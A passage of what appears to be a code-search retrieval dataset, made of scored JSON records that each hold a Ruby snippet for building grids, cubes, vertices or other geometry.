"e1b7da5ffa9c90bc844701ca5253cd40", "score": "0.55714774", "text": "def generate_grid x = @x, y = @y\n new_grid = []\n\n y.times { new_grid << [] }\n new_grid.each do |array|\n x.times do\n array << []\n end\n end\n end", "title": "" }, { "docid": "15bc342032481644720e42aaf1a2e45a", "score": "0.5485938", "text": "def new_cube(n)\r\n return n*n*n,70;\r\nend", "title": "" }, { "docid": "58ea273b1bd6bb57aa241106bb08c825", "score": "0.54362124", "text": "def create_grid\n grid = Array.new(6, Array.new(7, BLANK))\n end", "title": "" }, { "docid": "fb0f931a96cff0d3867fcdfd40e4e95e", "score": "0.5412299", "text": "def three_row_grid\n grid = []\n grid << [\n Cell.new(:alive, 0, 0),\n Cell.new(:alive, 0, 1),\n Cell.new(:dead, 0, 2)\n ]\n grid << [\n Cell.new(:alive, 1, 0),\n Cell.new(:dead, 1, 1),\n Cell.new(:dead, 1, 2)\n ]\n grid << [\n Cell.new(:dead, 2, 0),\n Cell.new(:dead, 2, 1),\n Cell.new(:dead, 2, 2)\n ]\n grid\nend", "title": "" }, { "docid": "b94e3e71a352b897241caa9eaf87356b", "score": "0.5383223", "text": "def grid\n Matrix.build(@row_count, @column_count) { Cell.new }.to_a\n end", "title": "" }, { "docid": "99ee4ee27d2e6e97a60add02137f3e9c", "score": "0.5371151", "text": "def make_grid\n @grid = Array.new(4){Array.new(4)}\n end", "title": "" }, { "docid": "1055eb66d261d7b6ae3830c385942cf7", "score": "0.53186864", "text": "def grid\n \t\t\tfinal, y = Array.new, 0\n \t\t\t@@axis.fetch(:y).times do\n \t\t\t\tfinal[y], x = Array.new, 0\n \t\t\t\t@@axis.fetch(:x).times do\n \t\t\t\t\tfinal[y][x] = init_coord(x, y)\n \t\t\t\t\tx += 1\n \t\t\t\tend\n \t\t\t\ty += 1\n\t\t\tend\n\t\t\tfinal.reverse\n\t\tend", "title": "" }, { "docid": "9cd2102fd6be12dd616d173475c03ee7", "score": "0.52793384", "text": "def create_grid\n spaces = create_spaces\n assign_spaces_to_rows.map do |row|\n row.each.with_index do |coordinates, index|\n row[index] = {coordinates => spaces[coordinates]}\n end\n end\n end", "title": "" }, { "docid": "508e90b8c7dfadbc4966dd0824f3e241", "score": "0.5258932", "text": "def make_grid(*points)\n self.convert_values()\n printed = \"\"\n if (@clear)\n system ('clear')\n end\n x_points = Array.new\n y_points = Array.new\n # Divide points\n (0..points.length - 1).each do |position|\n if (position % 2 == 0)\n x_points.push(points[position].to_i)\n else\n y_points.push(points[position].to_i)\n end\n end\n # Start loop\n (0..@y_size.to_i).each do |current_y|\n (0..@x_size.to_i).each do |current_x|\n # Setup\n print_fill = true\n relative_x = current_x - @x_offset\n relative_y = @y_offset - current_y\n point_amount = x_points.length - 1\n # Check point\n (0..point_amount.to_i).each do |position_point|\n if (x_points[position_point] == relative_x)\n if (y_points[position_point] == relative_y)\n printed << @point.to_s\n print_fill = false\n end\n end\n end\n # Fill\n if (print_fill)\n if (@x_offset == current_x)\n printed << \"|\"\n elsif (@y_offset == current_y)\n printed << \"-\"\n else\n printed << @blank_space.to_s\n end\n end\n if (y_offset == current_y && current_x != @x_size)\n printed << \"-\"\n else\n printed << \" \"\n end\n end\n printed << \"\\n\"\n end\n print printed\n return printed\n end", "title": "" }, { "docid": "958d4ec3084d0eae4cb61c83f4efab8d", "score": "0.52141297", "text": "def row_cube(y, z)\n Cube.new(0 * cell_width, y * cell_height, z * cell_depth,\n cell_width * columns, cell_height, cell_depth)\n end", "title": "" }, { "docid": "bf920e3c3bf7720c7e0fc083d5174ff2", "score": "0.52060217", "text": "def initiate_grid\n new_grid = []\n @width.times do |x|\n new_grid[x] = []\n @height.times do |y|\n new_grid[x][y] = 0\n end\n end\n new_grid\n end", "title": "" }, { "docid": "c6cbb22cd91b4d46fa00978c1ac2f759", "score": "0.5205415", "text": "def col_cube(x, z)\n Cube.new(x * cell_width, 0 * cell_height, z * cell_depth,\n cell_width, cell_height * rows, cell_depth)\n end", "title": "" }, { "docid": "732510e17fe8c1e3feb3933ec3633741", "score": "0.517512", "text": "def cell_cube(*args)\n MACL::Cube.new(*cell_a(*args))\n end", "title": "" }, { "docid": "a36e254371e3c2f755407b5578c20036", "score": "0.51573133", "text": "def gridit(xd, yd, zd, nx, ny)\n nd = equal_length(xd, yd, zd)\n inquiry [{ double: nx }, { double: ny }, { double: nx * ny }] do |px, py, pz|\n super(nd, xd, yd, zd, nx, ny, px, py, pz)\n end\n end", "title": "" }, { "docid": "9ebaf05b1cef695790a86d64f7e8c89a", "score": "0.51541215", "text": "def vertices\n [\n @origin,\n { x: x_max, y: y_min, z: z_min },\n { x: x_min, y: y_max, z: z_min },\n { x: x_min, y: y_min, z: z_max },\n { x: x_max, y: y_max, z: z_min },\n { x: x_max, y: y_min, z: z_max },\n { x: x_min, y: y_max, z: z_max },\n { x: x_max, y: y_max, z: z_max }\n ]\n end", "title": "" }, { "docid": "bd6fb0326b128d95a7984ba2a1579120", "score": "0.5153713", "text": "def three_by_three_boxes\n @boxes ||= [0,1,2].repeated_permutation(2).map do |box_coord|\n box_row, box_col = *box_coord\n col_offset = box_col * 3\n row(box_row * 3)[col_offset...(col_offset+3)] +\n row(box_row * 3 + 1)[col_offset...(col_offset+3)] +\n row(box_row * 3 + 2)[col_offset...(col_offset+3)]\n end\n end", "title": "" }, { "docid": "98e2f7dd7da1fadd3f9435bbe6fc33af", "score": "0.51408494", "text": "def create_boxes(num)\n box_vertices = polygon_vertices(NUM_SIDES, EDGE_SIZE)\n box_image = polygon_image(box_vertices)\n boxes = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_poly(1.0, box_vertices, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(WIDTH), rand(40) - 50)\n shape = CP::Shape::Poly.new(body, box_vertices, CP::Vec2.new(0, 0))\n shape.e = 0.0\n shape.u = 0.4\n boxes << Box.new(box_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return boxes\n end", "title": "" }, { "docid": "a190fa3530f6ad274a394ff22d8702b4", "score": "0.5114458", "text": "def grid(cols, rows, col_size=1, row_size=1)\n (0..cols*rows).map do |i|\n x = col_size * (i % cols)\n y = row_size * i.div(cols)\n yield x, y\n end\n end", "title": "" }, { "docid": "8ab1f0ec5c32b7a714fc253e10268b89", "score": "0.51144063", "text": "def initialize(size = 3)\n @size = size\n @grid = Array.new(size) { Array.new(size) }\n end", "title": "" }, { "docid": "ebc6d851e66f8d8ac4335d2f9f862111", "score": "0.51078653", "text": "def grid(cols, rows, col_size=1, row_size=1)\n (0...cols*rows).map do |i|\n x = col_size * (i % cols)\n y = row_size * i.div(cols)\n yield x, y\n end\n end", "title": "" }, { "docid": "d05493523d7b3822f8f3492034d54d2e", "score": "0.51043904", "text": "def build_grid\n x = 0\n 10.times do\n row = []\n y = 0\n 10.times do\n row.push({display: \"~~\", ship: false, coord: [x, y]})\n y += 1\n end\n self.grid << row\n x += 1\n end\n p self.grid\n end", "title": "" }, { "docid": "94535d52d3bcef435e1f3dbdabf8f8de", "score": "0.50894344", "text": "def create_boxes(num)\n box_vertices = polygon_vertices(NUM_SIDES, EDGE_SIZE)\n box_image = polygon_image(box_vertices)\n boxes = []\n num.times do\n body = CP::Body.new(1, CP::moment_for_poly(1.0, box_vertices, CP::Vec2.new(0, 0))) # mass, moment of inertia\n body.p = CP::Vec2.new(rand(SCREEN_WIDTH), rand(40) - 50)\n shape = CP::Shape::Poly.new(body, box_vertices, CP::Vec2.new(0, 0))\n shape.e = 0.0\n shape.u = 0.4\n boxes << AObject.new(box_image, body)\n @space.add_body(body)\n @space.add_shape(shape) \n end\n return boxes\n end", "title": "" }, { "docid": "700c97e8de28f5291a1fe315a8540dc5", "score": "0.5066011", "text": "def createcells(xstart,xend, ystart,yend, stepOverinuse, aface)\r\n countx = 0\r\n xmax = ymax = 0\r\n x = xstart\r\n while (x <= xend) do\r\n y = ystart\r\n county = 0\r\n while (y <= yend) do\r\n #note: using half stepover on the X axis, gets the ends of the zigs closer to the border\r\n xc = ((x-xstart) / (stepOverinuse/2) + 0.002).round # x cell index\r\n yc = ((y-ystart) / stepOverinuse + 0.002).round # y cell index\r\n pt = Geom::Point3d.new(x, y,0)\r\n res = aface.classify_point(pt)\r\n \r\n case res\r\n when Sketchup::Face::PointUnknown #(indicates an error),\r\n puts \"unknown\" if (@debug)\r\n when Sketchup::Face::PointInside #(point is on the face, not in a hole),\r\n @cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOnVertex #(point touches a vertex),\r\n #cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOnEdge #(point is on an edge),\r\n #cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOutside #(point outside the face or in a hole),\r\n #puts \"outside\" if (@debug)\r\n when Sketchup::Face::PointNotOnPlane #(point off the face's plane).\r\n puts \"notonplane\" if (@debug)\r\n end\r\n \r\n xmax = (xmax < xc) ? xc : xmax\r\n ymax = (ymax < yc) ? yc : ymax\r\n y += stepOverinuse\r\n county += 1\r\n if (county > 5000) #really for debugging but prevents runaway loops\r\n puts \"county high break\"\r\n break\r\n end\r\n end # while y\r\n x += (stepOverinuse / 2.0)\r\n countx += 1\r\n if (countx > 5000)\r\n puts \"countx high break\"\r\n break\r\n end\r\n end # while x\r\n @cellxmax = xmax\r\n @cellymax = ymax\r\n end", "title": "" }, { "docid": "1c2431889c6f4c8c806f00ae129cf39e", "score": "0.50584126", "text": "def gen_cells args = {}\n\t\t\tx = args[:x] || 0\n\t\t\ty = args[:y] || 0\n\t\t\tw = args[:w] || 32\n\t\t\th = args[:h] || 32\n\n\t\t\tcell_count = {\n\t\t\t\tx: (current_room.w.to_f / w.to_f).floor,\n\t\t\t\ty: (current_room.h.to_f / h.to_f).floor\n\t\t\t}\n\n\t\t\treturn cell_count[:y].times.map do |row|\n\t\t\t\tnext cell_count[:x].times.map do |col|\n\t\t\t\t\tnext Cell.new(\n\t\t\t\t\t\tx: (w * col),\n\t\t\t\t\t\ty: (h * row),\n\t\t\t\t\t\tw: w, h: h,\n\t\t\t\t\t\tindex: { x: col, y: row },\n\t\t\t\t\t\tsolid: false\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend .flatten\n\t\tend", "title": "" }, { "docid": "dce696dc2d494e1ae36159c963653c01", "score": "0.50404346", "text": "def _get_square_starting_points()\n square_starting_points = []\n row_index = 0\n column_index = 0\n 3.times do\n 3.times do\n square_starting_points << [row_index, column_index]\n column_index += 3\n end\n row_index += 3\n column_index = 0\n end\n square_starting_points\n end", "title": "" }, { "docid": "695af29fe7e6d0889e5a93cfdb6382ab", "score": "0.5039085", "text": "def mesh_vertices\r\n # private ?\r\n d = TT::Instance.definition( @instance )\r\n transformation = @instance.model.edit_transform\r\n points = mesh_points( final_subdivs, transformation )\r\n vertices = raw_mesh_vertices()\r\n\r\n # <debug>\r\n unless points.size == vertices.size\r\n Console.log( 'mesh_vertices' )\r\n Console.log( \"> Points: #{points.size}\" )\r\n Console.log( \"> Vertices: #{vertices.size}\" )\r\n end\r\n # </debug>\r\n\r\n patch_vertices = []\r\n for point in points\r\n vertex = vertices.find { |v| v.position == point } # (!) Optimize\r\n patch_vertices << vertex\r\n vertices.delete( vertex )\r\n end\r\n patch_vertices\r\n end", "title": "" }, { "docid": "ad98af51e501e7f7267426b53e7ed453", "score": "0.50365585", "text": "def fill_face( entities, points )\r\n if points.size == 4 && !TT::Geom3d.planar_points?( points )\r\n face1 = entities.add_face( points[0], points[1], points[2] )\r\n face2 = entities.add_face( points[0], points[2], points[3] )\r\n edge = ( face1.edges & face2.edges )[0]\r\n QuadFace.set_divider_props( edge )\r\n [ face1, face2 ]\r\n else\r\n entities.add_face( points )\r\n end\r\n end", "title": "" }, { "docid": "91624026c2180cd746cea7a94903b1a7", "score": "0.5030336", "text": "def lay_cube(x, y)\n Cube.new(x * cell_width, y * cell_height, 0 * cell_depth,\n cell_width, cell_height, cell_depth * layers)\n end", "title": "" }, { "docid": "267e1ed4628d8b7d51407e20db091c99", "score": "0.5018354", "text": "def cells_grid_1by1\n [\n [\n MazeMagic::Maze::Edge.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::Edge.instance\n ],\n [\n MazeMagic::Maze::VerticalWall.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::VerticalWall.instance\n ]\n ]\n end", "title": "" }, { "docid": "e3e26adb3756ae82f083d530cf1139c6", "score": "0.5014741", "text": "def cubes(array)\n array.map { |number| number ** 3 }\nend", "title": "" }, { "docid": "5008efd51fdf8352659800dd90aee9a0", "score": "0.5007289", "text": "def create_position_array()\n array_2D = []\n array_1D = []\n\n (0...@row).each_with_index do |value, row_index|\n (0...@col).each_with_index { |value, col_index| array_1D.append(value+(row_index*@col)) }\n array_2D.append(array_1D)\n array_1D = []\n end\n\n return array_2D\n end", "title": "" }, { "docid": "44976812de7e3433517b631f686e3e1a", "score": "0.50004375", "text": "def window_to_sphere_space(window_point)\n\n radius = 1.0\n\n # window point( x=[0..width], y=[0..height])\n # fix the z and w for matrix math\n window_point.z = 0.0\n window_point.w = 1.0\n\n # point( x=[-1.0..1.0], y=[-1.0..1.0])\n sphere_point = @conversion_matrix[:window_to_sphere] * window_point\n\n sphere_point.z = sphere_point.w = 0.0\n\n x_y_magnitude = sphere_point.x**2 + sphere_point.y**2\n\n if (x_y_magnitude > 1.0)\n # Point is mapped outside of the sphere space... (length > radius squared)\n # Put x, y inside the sphere but leave z=0.0\n sphere_point.normalize\n else\n\n # Return a vector to a point mapped inside the sphere\n #\n # Sphere:\n # pX^2 + pY^2 + pZ^2 = r^2,\n # pZ^2 = r^2 - (pX^2 + pY^2)\n # pZ = sqrt(r^2 - (pX^2 + pY^2))\n #\n sphere_point.z = Math.sqrt((radius * radius) - x_y_magnitude)\n end\n\n return sphere_point\n end", "title": "" }, { "docid": "93df4de2404f5402c123aa88bcbaf3c1", "score": "0.50001746", "text": "def createcellsX(xstart,xend, ystart,yend, stepOverinuse, aface)\r\n county = 0\r\n xmax = ymax = 0\r\n y = ystart\r\n while (y <= yend) do\r\n x = xstart\r\n countx = 0\r\n while (x <= xend) do\r\n #note: using half stepover on the X axis, gets the ends of the zigs closer to the border\r\n xc = ((x-xstart) / (stepOverinuse) + 0.002).round # x cell index\r\n yc = ((y-ystart) / (stepOverinuse/2) + 0.002).round # y cell index\r\n pt = Geom::Point3d.new(x, y,0)\r\n res = aface.classify_point(pt)\r\n \r\n case res\r\n when Sketchup::Face::PointUnknown #(indicates an error),\r\n puts \"unknown\" if (@debug)\r\n when Sketchup::Face::PointInside #(point is on the face, not in a hole),\r\n @cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOnVertex #(point touches a vertex),\r\n #cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOnEdge #(point is on an edge),\r\n #cells[[xc,yc]] = true\r\n when Sketchup::Face::PointOutside #(point outside the face or in a hole),\r\n #puts \"outside\" if (@debug)\r\n when Sketchup::Face::PointNotOnPlane #(point off the face's plane).\r\n puts \"notonplane\" if (@debug)\r\n end\r\n \r\n xmax = (xmax < xc) ? xc : xmax\r\n ymax = (ymax < yc) ? yc : ymax\r\n x += stepOverinuse\r\n countx += 1\r\n if (countx > 5000) #really for debugging but prevents runaway loops\r\n puts \"countx high break\"\r\n break\r\n end\r\n end # while x\r\n y += (stepOverinuse / 2.0)\r\n county += 1\r\n if (county > 5000)\r\n puts \"county high break\"\r\n break\r\n end\r\n end # while y\r\n @cellxmax = xmax\r\n @cellymax = ymax\r\n end", "title": "" }, { "docid": "a8536a6165d42f4f4c78e6f2edfa8593", "score": "0.4969367", "text": "def carve_walls_from_point(x, y, grid)\n \nend", "title": "" }, { "docid": "aa41cf92cb42e5ab805557d511b7901c", "score": "0.49585173", "text": "def cubes(array)\narray.map {|number| number ** 3}\n\n\nend", "title": "" }, { "docid": "3384645f5661598d8ece50fdb80e516a", "score": "0.49555913", "text": "def to_face_cube\n fc = FaceCube.new\n\n CORNERS.length.times do |i|\n j = corner_permutation[i]\n ori = corner_orientation[i]\n\n CORNER_SIZE.times do |n|\n ord = Facelet.for(i, (n + ori) % 3, type: :corner).ord\n fc.colors[ord] = FaceCube::CORNER_COLORS[j][n]\n end\n end\n\n EDGES.length.times do |i|\n j = edge_permutation[i]\n ori = edge_orientation[i]\n EDGE_SIZE.times do |n|\n ord = Facelet.for(i, (n + ori) % 2, type: :edge).ord\n fc.colors[ord] = FaceCube::EDGE_COLORS[j][n]\n end\n end\n\n fc\n end", "title": "" }, { "docid": "561c3c47cf9788938aface2be5fcc00b", "score": "0.49552992", "text": "def render\n # Every cell is an individual quad\n # using the propane grid convenience function instead of a nested loop\n grid(z.size - 1, z[0].size - 1) do |x, y|\n # one quad at a time\n # each quad's color is determined by the height value at each vertex\n # (clean this part up)\n no_stroke\n push_matrix\n begin_shape(PConstant::QUADS)\n translate(x * scl - w * 0.5, y * scl - h * 0.5, 0)\n fill(z[x][y] + 127, 220)\n vertex(0, 0, z[x][y])\n fill(z[x + 1][y] + 127, 220)\n vertex(scl, 0, z[x + 1][y])\n fill(z[x + 1][y + 1] + 127, 220)\n vertex(scl, scl, z[x + 1][y + 1])\n fill(z[x][y + 1] + 127, 220)\n vertex(0, scl, z[x][y + 1])\n end_shape\n pop_matrix\n end\n end", "title": "" }, { "docid": "5d4a8ca6d1ca7bc3c03d45cb5dd48338", "score": "0.49380106", "text": "def randomn\n size = self.size\n case type = self.typecode\n when COMPLEX; type=FLOAT\n when SCOMPLEX; type=SFLOAT\n when FLOAT\n when SFLOAT\n else\n raise TypeError, \"NArray type must be (S)FLOAT or (S)COMPLEX.\"\n end\n rr = NArray.new(type,size)\n xx = NArray.new(type,size)\n i = 0\n while i < size\n n = size-i\n m = ((n+Math::sqrt(n))*1.27).to_i\n x = NArray.new(type,m).random!(1) * 2 - 1\n y = NArray.new(type,m).random!(1) * 2 - 1\n r = x**2 + y**2\n idx = (r<1).where\n idx = idx[0...n] if idx.size > n\n if idx.size>0\n\trr[i] = r[idx]\n\txx[i] = x[idx]\n\ti += idx.size\n end\n end\n # Box-Muller transform\n rr = ( xx * NMath::sqrt( -2 * NMath::log(rr) / rr ) )\n # finish\n rr.reshape!(*self.shape) if self.rank > 1\n rr = rr.to_type(self.typecode) if type!=self.typecode\n if RUBY_VERSION < \"1.8.0\"\n self.type.refer(rr)\n else\n self.class.refer(rr)\n end\n end", "title": "" }, { "docid": "628675201a5f0f67b7ef4420cc12e557", "score": "0.4919092", "text": "def create_particles\n 200.times do\n @particle = Particle.new(@window, self)\n @particle_array.push(@particle)\n end\n 100.times do\n @particle = Particle.new(@window, self)\n @particle_array_2.push(@particle)\n end\n end", "title": "" }, { "docid": "a5b187a18925689c5402db2a41ca9768", "score": "0.49042815", "text": "def pile_of_cubes(m)\n n = 1\n n^3\n n^3 + (n+1)^3\n n^3 + (n+1)^3 + (n+2)^3\n\n\n # check m against 1^3\n # check m against 1^3 + 2^3\n # check m against 1^3 + 2^3 + 3^3...\n\n\nend", "title": "" }, { "docid": "327280d861230af8509e7d6c45ca31f4", "score": "0.4888399", "text": "def mesh_points( subdivs, transformation )\r\n points = []\r\n for patch in @patches\r\n points.concat( patch.mesh_points( subdivs, transformation ).to_a )\r\n end\r\n points = TT::Point3d.extend_all( points ) # So that .uniq! works\r\n points.uniq!\r\n points\r\n end", "title": "" }, { "docid": "e8ab1b7d9f7576e3c26c5aa78c4d4654", "score": "0.48834357", "text": "def generate_grid(grid_size)\n Array.new(grid_size) { ('A'..'Z').to_a.sample } # random grid of letter\n end", "title": "" }, { "docid": "036ed9661681bce2f2970f174dca12ff", "score": "0.48825738", "text": "def cubes(arr)\n p cubies = arr.map {|n| n ** 3}\nend", "title": "" }, { "docid": "547502a08ced26b5e12e391e44d943dc", "score": "0.4870999", "text": "def grid3d(*)\n super\n end", "title": "" }, { "docid": "db83cdd02c0d0c3da660f1de63be1a8f", "score": "0.4867136", "text": "def cubes(array)\n array.map { |number| number ** 3}\n # Return array\nend", "title": "" }, { "docid": "9e56033eaccc7b8bf60095190934e946", "score": "0.48610756", "text": "def initialize(size)\n @grid = Array.new(size) {Array.new(size, :N)}\n @size = size * size\n end", "title": "" }, { "docid": "2dadcddf0dafe7405e0031486e3ed7a1", "score": "0.4856297", "text": "def gridpoints\n gridpoints = {'l' => @ngauss, 'e' => @negrid, 's' => @nspec}\n if @grid_option == \"single\"\n gridpoints.absorb({'x'=>1, 'y'=>1})\n else\n gridpoints.absorb({'x' => (@ntheta0 or (2.0 * (@nx - 1.0) / 3.0 + 1.0).floor), 'y' => (@naky or ((@ny - 1.0) / 3.0 + 1.0).floor)})\n end\n return gridpoints\nend", "title": "" }, { "docid": "bee655e73e15680b70e052a8cd87fb5d", "score": "0.48452455", "text": "def generate_grid(grid_size)\n # TODO: generate random grid of letters, allows duplicate of letters\n # 1. Create new array of 9 elements\n # 2. In the range A to Z for each element of the array, take a sample\n # (so by default, it allows duplicates)\n grid = Array.new(grid_size) { (\"A\"..\"Z\").to_a.sample }\n return grid\n end", "title": "" }, { "docid": "298afaef19fddeafc68c6cbcd847c392", "score": "0.48439637", "text": "def coordinates\n [rand(50), rand(90)]\n end", "title": "" }, { "docid": "49131483e9f0dbdc65ab59db32385563", "score": "0.4843447", "text": "def vertices\n VertexList.new(1, nil, [@centre])\n end", "title": "" }, { "docid": "9070a61fe97697d3739b68e579e339b3", "score": "0.48380274", "text": "def generate_points(num_points, width, height)\n points = [[width / 2, height / 2]]\n count = 0\n while points.length < num_points\n raise(\"sanity check failed\") if count > num_points * 2\n count += 1\n next_p = next_point(points.sample)\n if next_p[0].between?(0, width - 1) and next_p[1].between?(0, height - 1)\n points << next_p unless points.include?(next_p)\n else\n # debug\n puts \"#{next_p.inspect} out of bounds\"\n end\n end\n points\nend", "title": "" }, { "docid": "6b1026856e668ebb37c95328be06db66", "score": "0.48365656", "text": "def box(n)\n result = []\n 3.times do |i|\n row = (n.to_i / 3) * 3 + i\n # puts \"row: #{n} -> #{row}\"\n 3.times do |j|\n col = (n % 3) * 3 + j\n # puts \" col: #{n} -> #{col}\"\n result << @lines[row][col]\n end\n end\n result\n end", "title": "" }, { "docid": "b353c6abedfc55042337906ca6a67669", "score": "0.48319075", "text": "def calc_vertices\n @worksheet.position_object( @params[:start_col],\n @params[:start_row],\n @params[:x_offset],\n @params[:y_offset],\n @params[:width],\n @params[:height]\n )\n end", "title": "" }, { "docid": "30aa716e01270591fdacb96a803db293", "score": "0.48245803", "text": "def vertices\n vertices = []\n\n vertices << [(@origin[0] + @l/2.0), (@origin[1] + @h/2.0), (@origin[2] + @w/2.0)]\n vertices << [(@origin[0] + @l/2.0), (@origin[1] + @h/2.0), (@origin[2] - @w/2.0)]\n vertices << [(@origin[0] + @l/2.0), (@origin[1] - @h/2.0), (@origin[2] - @w/2.0)]\n vertices << [(@origin[0] + @l/2.0), (@origin[1] - @h/2.0), (@origin[2] + @w/2.0)]\n vertices << [(@origin[0] - @l/2.0), (@origin[1] - @h/2.0), (@origin[2] + @w/2.0)]\n vertices << [(@origin[0] - @l/2.0), (@origin[1] - @h/2.0), (@origin[2] - @w/2.0)]\n vertices << [(@origin[0] - @l/2.0), (@origin[1] + @h/2.0), (@origin[2] - @w/2.0)]\n vertices << [(@origin[0] - @l/2.0), (@origin[1] + @h/2.0), (@origin[2] + @w/2.0)]\n\n vertices\n end", "title": "" }, { "docid": "4723122b397c2bac4a2cfcc171f0ef7c", "score": "0.4822378", "text": "def vertices\n result = [[@origin_x, @origin_y, @origin_z]]\n dimensions = [@length, @width, @height]\n \n dimensions.each_with_index do |dimension, index|\n temp = result[0].dup\n temp[index] += dimension\n result << temp\n (index...dimensions.length).each do |index2|\n next if index == index2\n temp2 = temp.dup\n temp2[index2] += dimensions[index2]\n result << temp2\n end\n end\n result << [@origin_x + @length, @origin_y + @width, @origin_z + @height]\n result\n end", "title": "" }, { "docid": "7d02a077162d8150388ead9870393195", "score": "0.48042688", "text": "def generate_surrounding_spaces(x, y)\n surround_array = []\n# Loop over 3x3 grid\n for i in x-1..x+1\n for j in y-1..y+1\n # Exclude the center square and ones not on the grid\n if ((i==x) && (j==y)) || !is_on_grid(i,j)\n next\n end\n surround_array.push([j, i])\n end\n end\n\n return surround_array\nend", "title": "" }, { "docid": "85c9fa2e8709fec8e446e4fb0006cfba", "score": "0.4798663", "text": "def generate_grid\n (0...10).map { ('A'..'Z').to_a[rand(26)] }\n end", "title": "" }, { "docid": "c0fec12dd2d2aceb251540ccfc56843b", "score": "0.47882643", "text": "def encircle( points,\n x_start = Point.new( *([0]*points[0].size) ),\n max_iter = 100 )\n x = x_start\n y, g = nil, nil\n\n for k in 1..max_iter do\n y, g = evaluate( x, points )\n x = x - g/k\n end\n\n return Circle.new(x, Math.sqrt(y))\nend", "title": "" }, { "docid": "7b5a4e06a63b0a9fca2d3df99f307cb0", "score": "0.4783099", "text": "def hflip\n g = Grid.new\n self.each do |point,v|\n g[Point.new( @width - point.x - 1, point.y )] = v \n end\n g\n end", "title": "" }, { "docid": "67bd30a1d8b43950d99429304a6af41d", "score": "0.47626406", "text": "def generate_grid(grid_size)\n # TODO: generate random grid of letters\n alphabet = (\"A\"..\"Z\").to_a\n grid = []\n grid_size.times { grid.push(alphabet[rand(1...alphabet.length)]) }\n grid\n end", "title": "" }, { "docid": "2e690047d4bb9f075d25d275580c6a99", "score": "0.47611552", "text": "def volume_of_cube(n)\n return n * n * n\nend", "title": "" }, { "docid": "7e689ae0e99383b38ac12efb291da911", "score": "0.47605935", "text": "def set_points(count,size)\n if count > size\n raise \"Whow there!\"\n end\n points = []\n x = (0..size-1).to_a.shuffle\n y = (0..size-1).to_a.shuffle\n begin\n points.push([x.shift,y.shift])\n end until points.size == count\n points\nend", "title": "" }, { "docid": "3e51e0d5045830f4d2c073d0bb5d036b", "score": "0.47556767", "text": "def create_grid_from_size(size_arr)\n rows = size_arr[0]\n columns = size_arr[1]\n Array.new(rows) { Array.new(columns) }\n end", "title": "" }, { "docid": "3b426210353d4f2a0aabfb388cf6c16b", "score": "0.47384351", "text": "def create_starting_positions\n\t\t[Point.new(BOARD_WIDTH/4, BOARD_HEIGHT/4),\n \t\tPoint.new(3 * BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4),\n\t\tPoint.new(3 * BOARD_WIDTH/4, BOARD_HEIGHT/4),\n\t\tPoint.new(BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4)]\n\tend", "title": "" }, { "docid": "ac2a4717a1808f17e2340257ecbd3e8d", "score": "0.47320065", "text": "def points_partion_array(member_counts)\n division = (0...member_counts).map {|i| points / member_counts }\n (0...points%member_counts).each {|i| division[0] += 1}\n division\n end", "title": "" }, { "docid": "8b7bf4977d44d7377e26fb8f7306158e", "score": "0.4717344", "text": "def triangulate(vertices)\n\t\tedges = []\n tris = []\n # sort by X coord\n vertices = vertices.sort_by {|p|p.x}\n # center/radius cache used by circum_circle\n cc_cache = {}\n\n # Set up the supertriangle\n # This is a triangle which encompasses all the sample points.\n # The supertriangle coordinates are added to the end of the\n # vertex list. The supertriangle is the first triangle in\n # the triangle list.\n number_of_vertices = vertices.size\n\t\tbounding_p1, bounding_p2, bounding_p3 = get_bounding_vertices(vertices)\n\t\tvertices << bounding_p1 << bounding_p2 << bounding_p3\n\t\ttris << ITRIANGLE.new(number_of_vertices, number_of_vertices+1, number_of_vertices+2)\n\n # Include each point one at a time into the existing mesh\n vertices.each_with_index { |current_point, i|\n edges.clear\n # Set up the edge buffer.\n # If the point (xp,yp) lies inside the circumcircle then the\n # three edges of that triangle are added to the edge buffer\n # and that triangle is removed.\n j = 0\n\t\t\ttris_size = tris.size\n\t\t\twhile j < tris_size\n\t\t\t\tcurrent_triangle = tris[j]\n if !current_triangle.complete\n p1 = vertices[current_triangle.p1]\n p2 = vertices[current_triangle.p2]\n p3 = vertices[current_triangle.p3]\n inside,xc,yc,r = circum_circle(current_point, p1, p2, p3, cc_cache)\n if (xc + r) < current_point.x\n current_triangle.complete = true\n end\n if inside\n\t\t\t\t\t\tedges << IEDGE.new(current_triangle.p1, current_triangle.p2)\n edges << IEDGE.new(current_triangle.p2, current_triangle.p3)\n edges << IEDGE.new(current_triangle.p3, current_triangle.p1)\n tris.delete_at(j)\n\t\t\t\t\t\ttris_size -= 1\n j -= 1\n end\n end\n j += 1\n end #while j\n\t\t\t\n\t\t\twhile !edges.empty?\n\t\t\t\tedge = edges.shift\n\t\t\t\trejected = edges.reject! {|e| e == edge}\n\t\t\t\ttris << ITRIANGLE.new(edge.p1, edge.p2, i) if rejected.nil? \n\t\t \tend\n \n } #each i\n \n\t\t# Remove supertriangle vertices\n\t\t3.times do \n\t\t\tvertices.pop\n\t\tend\n\t\tnumber_of_vertices = vertices.size\n\n # Remove triangles with supertriangle vertices\n # These are triangles which have a vertex number greater than number_of_vertices\n\t\ttris.delete_if {|tri| tri.p1 >= number_of_vertices || tri.p2 >= number_of_vertices || tri.p3 >= number_of_vertices}\n\n [ vertices, tris ]\n end", "title": "" }, { "docid": "c73bcd19aac0be216c99ca6e1b031673", "score": "0.47148418", "text": "def generate_coords\n coords = [0,0]\n coords[0] = rand(9)\n coords[1] = rand(9)\n coords\n end", "title": "" }, { "docid": "96b5866c2e77af30b5db5a0925931523", "score": "0.47095728", "text": "def center\n a, b, c, d = @points\n\n Geom::Point3d.new(\n (a.x + b.x + c.x + d.x) / 4,\n (a.y + b.y + c.y + d.y) / 4,\n (a.z + b.z + c.z + d.z) / 4\n )\n end", "title": "" }, { "docid": "2642ec558146ad71cc554c70d777584a", "score": "0.4704455", "text": "def fill_temp_grid\n temp_width = @width + 